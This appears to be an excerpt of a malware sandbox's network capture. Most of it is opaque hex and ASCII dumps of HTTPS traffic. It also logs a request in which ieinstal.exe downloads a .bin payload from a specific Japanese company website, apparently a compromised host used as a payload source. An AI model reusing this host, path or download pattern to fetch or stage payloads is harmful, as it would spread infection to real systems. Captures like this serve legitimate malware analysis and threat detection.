                            2022-01-21 16:22:59 UTC671INData Raw: de 46 b7 df 00 e3 5e 78 5b f5 c2 9a af 43 b2 97 08 ce 04 95 2e b5 a5 52 22 e9 1b a4 49 0f fd 8e 97 96 a3 bc 7c 85 15 e3 8e 73 2a 5c 94 8a 46 5e cb 81 23 ee 9c 33 25 d8 4e 9c 22 7f 56 93 83 5d 7c 42 cb 23 fe e8 46 48 ff e4 a5 9d 3d 97 9a cd fe b8 8d b9 c6 5c df 8b 35 39 7b 15 01 eb 0d 68 a6 e5 93 62 cc 1b c0 9c 83 cf 97 d9 a8 76 04 3a 94 0f b8 dc 48 e5 e5 72 22 4d c1 d5 88 fa 12 30 58 9d a5 31 1d 2c 32 e7 61 b6 a5 35 8c 03 a8 50 f4 1d 16 8f ad 7c 78 07 68 d9 75 d9 e6 fe 0d ac 5b a6 1d f8 68 84 e6 50 b5 69 81 ec 74 81 34 6d d7 0f 82 79 35 a9 95 71 80 83 cc 3c 48 12 25 83 83 26 f9 7b f6 62 39 39 47 16 c6 83 8b b6 ac ab ef 38 41 08 f3 02 5b d8 bd 62 42 bd da 48 52 f2 6d 46 de bd 69 08 0b ba 6a af f5 4f d7 73 b4 a4 c3 8d fd 7d 3c c7 73 4b ae a5 31 b6 b8 c2 d2
                            Data Ascii: F^x[C.R"I|s*\F^#3%N"V]|B#FH=\59{hbv:Hr"M0X1,2a5P|xhu[hPit4my5q<H%&{b99G8A[bBHRmFijOs}<sK1
                            2022-01-21 16:22:59 UTC687INData Raw: 9d d3 cb 37 3c 77 50 33 24 1e e7 12 c7 a4 9b 03 09 65 b7 a1 5b 45 40 5b 95 51 90 57 21 81 16 cb 40 58 76 08 53 07 85 71 9a 71 1b e9 23 ff 96 f3 fb a6 9e 89 59 db 69 d9 68 d6 90 f5 03 57 53 54 9b ce c7 4a d0 87 fe d8 83 3a 52 3f 1d 89 77 e9 68 41 0b 13 93 e5 8c e6 75 f5 7a c0 5b 09 ba 17 a4 3e 24 06 63 4d a6 dd 3c 62 98 b9 17 cb 79 3e 74 91 0e 3d 7d 88 b3 e6 14 ee 00 37 d2 61 e1 2c 0c 02 66 90 fc 9d 13 85 1a 88 9c 7c 72 ff ac 9f c8 d5 b3 32 da 31 e1 c0 d6 ab 4d c1 e0 69 a4 40 ea 24 bd b2 bd 9e 1c 65 cb a9 9c 5f 3c a7 b6 88 07 c5 29 57 9a f5 c1 58 44 0b 3e 22 c6 ed 95 77 a4 84 18 f9 bc 4c ec d2 a6 9b 84 3d 92 3c ff 66 f2 3a 60 1e ec 07 6d 06 7d 32 94 a6 3a 32 a1 ec 22 32 c8 d1 31 58 27 d6 86 fb 4c 32 f3 84 63 8c 18 7f 16 66 ca 3e 13 1f 11 76 56 07 c8 3d a7
                            Data Ascii: 7<wP3$e[E@[QW!@XvSqq#YihWSTJ:R?whAuz[>$cM<by>t=}7a,f|r21Mi@$e_<)WXD>"wL=<f:`m}2:2"21X'L2cf>vV=
                            2022-01-21 16:22:59 UTC703INData Raw: 6e 08 8b c0 ae ac 43 23 0b b6 8a 54 6c f9 bf ac ad 18 f5 79 e8 7c 5e 83 75 5b 19 54 94 6f ab 1e 72 e5 cc c9 c4 09 2f f2 5b 55 80 7e 4c 17 78 cf 55 0b a8 1e b3 0f 9a 8d 20 cf 22 8f 23 49 08 78 2e 9e ab 8c 65 ff 39 8f bc 1b 78 1e 42 a4 b2 5a ae 1a 63 8b f1 3f 49 fa 1c a2 7e cb 5c 4b b7 61 9a 9b a9 48 61 65 91 f0 2e 8d fe 39 60 f5 e2 b4 e6 52 b3 7f 01 06 10 8b 06 55 c2 83 5c df f8 69 6d 8a 08 2a 4f 3d b5 a6 d0 d0 83 ca 11 fc 8f 34 f3 2c f5 ce af 62 42 91 e9 bc 0a c6 d3 88 52 87 88 97 d7 8f d3 fd 42 30 5c 94 69 30 59 bc 80 12 1d 2e a6 f8 79 38 29 03 fd 79 20 7f d6 ba a6 5d 6e d7 81 79 0c 95 21 5f 8f a0 a3 5c ff 0f d1 9b 7e c8 be 90 12 43 c9 07 57 ca df 76 30 4f d6 53 32 24 3e 77 50 be 72 28 79 bc 81 fe 05 d6 c7 57 e0 17 af 3d 72 3c 39 63 22 21 f4 2a b6 98 69
                            Data Ascii: nC#Tly|^u[Tor/[U~LxU "#Ix.e9xBZc?I~\KaHae.9`RU\im*O=4,bBRB0\i0Y.y8)y ]ny!_\~CWv0OS2$>wPr(yW=r<9c"!*i
                            2022-01-21 16:22:59 UTC719INData Raw: d2 d0 40 9b b3 b1 e7 7f 35 c3 c7 04 ed 93 3d 34 87 c0 4c d5 06 9f 77 80 73 16 c9 f4 31 c6 41 b0 73 cf 8c 34 22 7e b8 c2 38 c5 78 02 4c 06 fb db a2 eb 1e 45 2e d4 0d b1 da 74 77 50 92 0b 79 13 01 e0 70 67 dd 35 a0 75 4a e9 49 53 17 7b d7 38 08 6c 2b f6 84 f1 0c 62 5d 82 ed 68 e1 c3 3c 5b ef 4a f6 bd 31 33 c5 a3 66 d3 9a ba cc 4d 51 c7 85 af 31 fb 2c b4 0f 09 7e 96 2d a9 5c 1a 95 3d 72 65 57 4e 31 24 ab 16 ec 38 e6 5b 61 0c 0f b0 10 a7 87 d5 a5 7e 8c 6f bc 0b 66 43 2f cd bb d4 ff 53 38 76 6f dd 12 82 b0 d6 a8 5b 0d 0c 70 f4 63 8f a9 1a a4 df ab 0e 86 33 a7 af 77 64 ff fe 5e 38 2a 80 71 70 34 94 70 7b db ea 89 25 c0 fc 4a 62 32 b8 7a 25 14 78 fe 86 4d 9f 5f 0c c0 ba e0 57 04 9e 40 88 1c 01 db 1c a0 32 bd 60 7a 41 25 8e ce bb 8c d0 76 ae 4b 13 d9 de 39 77 e7
                            Data Ascii: @5=4Lws1As4"~8xLE.twPypg5uJIS{8l+b]h<[J13fMQ1,~-\=reWN1$8[a~ofC/S8vo[pc3wd^8*qp4p{%Jb2z%xM_W@2`zA%vK9w
                            2022-01-21 16:22:59 UTC735INData Raw: 57 a8 a6 b2 65 9a 03 f1 76 a0 84 12 ba 87 46 e4 e7 5d ef 4c 48 29 61 27 a0 6c 8b b1 e6 20 64 95 34 ce c7 10 f7 84 10 32 fc 3d 16 c2 9a a0 e2 28 73 80 f9 f8 52 7d 3b 49 d8 f4 d7 14 83 a7 e5 13 05 13 73 ff 86 db 77 04 2a cf 05 c9 26 ce fb 90 50 0a f4 5a 76 29 b7 6b 76 f5 0f 61 e8 25 6a 9e e4 b6 5f 98 00 73 f0 e3 bc 3c 31 9d a6 1f 2b 88 79 9e 69 48 d9 b5 b6 e4 50 27 5f 49 a8 dc d8 50 6c 75 bb bc 56 1f b6 b4 51 52 0b e7 75 3a b3 a9 a7 77 8f 5d 6a 66 91 70 c9 09 72 6e ac 9d 1c d2 a7 02 f5 de 08 d5 db c5 2e 5e 55 92 cc 7d 6c f6 f1 00 9a 7f 26 d0 b4 3c 49 c8 5d 45 3b c2 55 e1 84 6b 7b b1 89 f2 c0 21 d2 49 d7 98 ac 10 de 0f 5c ef 9e 32 71 c3 f7 f5 1c 27 72 b9 61 27 c5 12 b1 1b be 1a a1 79 6f e5 21 4d c2 78 e7 be 9a 25 a1 22 74 e5 7f 85 da c2 38 2b 95 c3 38 63 00
                            Data Ascii: WevF]LH)a'l d42=(sR};Isw*&PZv)kva%j_s<1+yiHP'_IPluVQRu:w]jfprn.^U}l&<I]E;Uk{!I\2q'ra'yo!Mx%"t8+8c
                            2022-01-21 16:22:59 UTC751INData Raw: e2 e4 84 bf 8a b9 13 f4 ac d7 37 cc e3 a7 29 f5 3d 2c 6c 04 bb 8e bb c3 44 c2 76 8e 2c 79 51 bd d4 a2 09 b6 dd 68 69 5a 48 92 f0 7c 98 d0 d2 be 35 41 4a f6 c9 84 40 4e 06 c7 13 ab 23 76 ca c6 b5 16 03 72 52 dd ca 4b 82 3c 72 3e 6e 9b 4f 65 52 7a a4 27 e1 77 e8 84 93 fe f8 a9 ce 41 55 28 9e cd 05 70 b1 e4 72 c2 5e c8 3f c0 b7 3f 8c 3f f4 69 28 98 57 f4 6e 89 8b d8 35 b0 bd d2 2f bc 02 a3 e4 b7 fa f5 88 54 be 37 f7 3a 34 c6 96 4c aa 86 60 88 80 73 98 da f0 e7 bf b8 a2 f8 8a 01 7f ad f4 4c b3 db 33 6d ca c2 02 72 ec ec 23 b9 c9 a0 a1 fe 1c d8 15 a9 fd ba cf ff 87 52 6b 80 3f 07 f8 5f 4d 4f b5 59 d8 d0 ce ad 09 50 40 3d ca d8 0e 03 e7 e7 30 ee c8 48 28 78 45 ff f1 40 41 f5 70 2f 7c bb c4 a3 c0 4d b4 2b f8 0e 98 54 6e d6 5d 76 f6 14 cb 8a fa d8 3c d1 3d 70 42
                            Data Ascii: 7)=,lDv,yQhiZH|5AJ@N#vrRK<r>nOeRz'wAU(pr^???i(Wn5/T7:4L`sL3mr#Rk?_MOYP@=0H(xE@Ap/|M+Tn]v<=pB
                            2022-01-21 16:23:00 UTC767INData Raw: c1 b2 95 9f 4c 0c b1 cb 9f 48 84 59 78 11 1f 01 af 13 c7 c0 e9 c9 97 cd 65 9f fd b3 a1 d4 73 c8 1f b0 7d 69 4b 56 5b 2a 56 2c fb 84 64 04 cb 5f a4 89 f6 a8 af 53 b9 ea f0 66 a9 41 00 c2 e4 fa 1a 30 56 ce 50 09 3a 3d 9f e7 f5 d8 e6 c7 0a 87 91 ba ea 6b ec ea d2 93 4d 80 52 96 18 45 ce 52 f8 d2 69 73 b0 84 61 82 c6 4a 18 90 e7 ea 94 bb 57 6c 63 b5 e6 96 7a 73 37 68 4a 82 f9 39 a4 25 c2 c6 d1 32 f1 98 5f 74 16 e8 09 74 1d 81 d4 19 86 99 e7 91 c6 e5 31 51 24 fe 8e c9 ac bc cf f4 53 08 76 f4 85 56 d6 23 9c b8 0e 4b 2f d4 92 19 8c 44 f6 f6 75 ec f4 f3 27 83 b1 e7 f9 22 dc 77 fb 0b 5a 40 bc 29 24 00 2f ed 48 ad 19 9e 15 81 b9 89 17 88 e2 cd f3 0c 02 99 21 65 29 82 7a 01 19 18 d5 07 9c c9 91 67 85 52 f8 b2 2f f9 5e 65 79 31 b9 0d 2d dd bb 78 b6 f8 dc 28 8b db c0
                            Data Ascii: LHYxes}iKV[*V,d_SfA0VP:=kMRERisaJWlczs7hJ9%2_tt1Q$SvV#K/Du'"wZ@)$/H!e)zgR/^ey1-x(
                            2022-01-21 16:23:00 UTC783INData Raw: a7 c4 f1 70 9a 2b 8a bd 13 7a 0c 21 8a a5 ec 52 e2 85 5c d7 ab 37 5a 76 62 1b cc 7b e0 9c 90 ce 37 ff 7a dc e6 20 eb 30 2c bc c9 d3 0e 58 b1 2a ae cc ed 62 0d 2b 06 f5 bd c7 52 7e 5d 17 b4 18 38 eb 30 a2 16 5e ac d8 b8 f6 61 31 0d ab b8 b1 89 35 39 dd 9b 38 bd 01 37 45 3c f6 8d f9 58 26 5e 73 8d 7c 8e 77 8b 6f f5 52 24 1a 2f 84 cc 1c 83 90 4d c1 5f 7f f4 2b c8 0b b6 d3 cd f5 46 79 56 75 e0 18 87 3e a1 15 d8 e9 80 83 f6 3b 2d bc 4c 00 88 f3 ad e6 54 79 ab da 79 f4 2e f7 dc 50 4d 3e 14 61 ee 4f 89 86 52 d3 89 7b 14 bc d4 65 f7 4b 8f 4a f7 f2 27 7b 9b 4c 2f ca ad 6c ce de a2 78 64 35 31 01 41 d8 a4 9d 27 6d f8 a2 e8 ae 25 4d 2b 65 5b 25 a7 99 6a a2 67 cf 4b d9 fc 82 88 23 30 35 be fc b7 36 a7 33 dc 25 48 60 aa 94 b4 51 5a c1 75 ce a7 2d be 69 f1 5a c9 af 3e
                            Data Ascii: p+z!R\7Zvb{7z 0,X*b+R~]80^a15987E<X&^s|woR$/M_+FyVu>;-LTyy.PM>aOR{eKJ'{L/lxd51A'm%M+e[%jgK#0563%H`QZu-iZ>
                            2022-01-21 16:23:00 UTC799INData Raw: 32 cc 7b 1a 7d 71 26 9b 95 09 65 b7 e9 23 eb bf d9 16 99 6f 0c 02 49 40 b9 13 d3 2b c0 99 b9 7a 09 de fa 19 b2 60 12 97 07 f3 25 7f 6b 90 67 6f c5 5c 55 ee 05 4a 67 59 72 73 b9 15 42 9a 9b 73 8f 8f b1 54 24 11 c8 02 62 eb 3f 03 2b ad b7 cc e3 73 7e 78 51 f9 40 45 9c 0c 3f af 68 5d 04 9e c8 48 68 d8 44 5b 0d b1 47 9f 85 86 ad c8 8b bb 0b e3 b6 f0 8e 9a 17 21 72 fc 0b 64 2f 00 1b 48 fe 44 d5 5f de 34 d2 64 05 8e d5 5b 93 ec 8b 1e d1 16 20 38 c5 2e da ab aa 2a a1 7d db e3 33 d4 10 34 56 5b 6b 61 e2 b6 03 ef 51 c3 ec 2e 33 09 2d af 26 bd 3b 69 57 c3 88 d9 7d e7 66 ae 8a 89 36 a6 cd 7b c8 d1 91 35 87 0d c5 39 d3 2c ba e4 09 99 f5 d1 fe 8f 88 5e 97 ca 3c c8 15 7a 96 e0 b6 bc 87 b3 19 7b 4a 16 e1 f7 66 80 55 51 11 ca 86 8f 42 fc e0 4e 48 42 ce 7c 7f 5e 25 bc 33
                            Data Ascii: 2{}q&e#oI@+z`%kgo\UJgYrsBsT$b?+s~xQ@E?h]HhD[G!rd/HD_4d[ 8.*}34V[kaQ.3-&;iW}f6{59,^<z{JfUQBNHB|^%3
                            2022-01-21 16:23:00 UTC815INData Raw: 10 5a 78 18 51 bc 27 c2 ff 69 d7 29 ea c6 24 e6 b2 77 ae 05 7a a1 eb 26 90 a8 95 75 03 d8 71 84 46 b8 20 fd 1b 7f e4 86 30 3f 4d 0d 71 00 bd 67 29 72 67 3d 58 7d dd ce 18 9b f9 01 44 3d 34 66 f4 9f ac d2 45 34 ed 0d 76 ed 47 e6 e8 eb 74 3d 3f 29 27 84 bf c4 ea 6c 7a ed d3 b5 fc 6d 15 e3 6f 0e f8 85 c7 bb f3 8b 99 bc 11 c5 c7 44 20 69 5b a9 80 ef b6 f1 7f 9d 3c 19 e3 76 60 73 37 82 87 bb 6e a6 72 55 d1 8c 9a 90 ad 3a 73 6f da a1 fc e8 07 e8 a8 4e 62 c1 e9 f7 cb 28 4d b6 56 23 4f 4a 2f de 38 a8 ec a4 00 e7 c4 cb 9a 45 8a 63 a4 2d 77 11 b3 1c 9e 02 10 30 18 c6 02 39 40 2a 0b fa ea 81 c4 9f ea 9f 96 93 dd 83 e5 4f 83 d8 2a bd d7 a3 a8 7a 08 73 42 a3 80 ef f1 5e eb c3 fb 32 38 57 b3 54 34 38 ce ef c5 00 19 3b 12 a2 3e 2a 36 63 fc 75 ca fb f1 9f 7f cf 2e 20 a8
                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:23:00 UTC831INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:23:00 UTC847INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:23:00 UTC863INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:23:00 UTC879INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:23:00 UTC895INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:23:00 UTC911INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            2192.168.2.34975952.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:23:10 UTC927OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:23:11 UTC927INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:23:10 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:23:11 UTC927INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:23:11 UTC943INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:23:11 UTC959INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
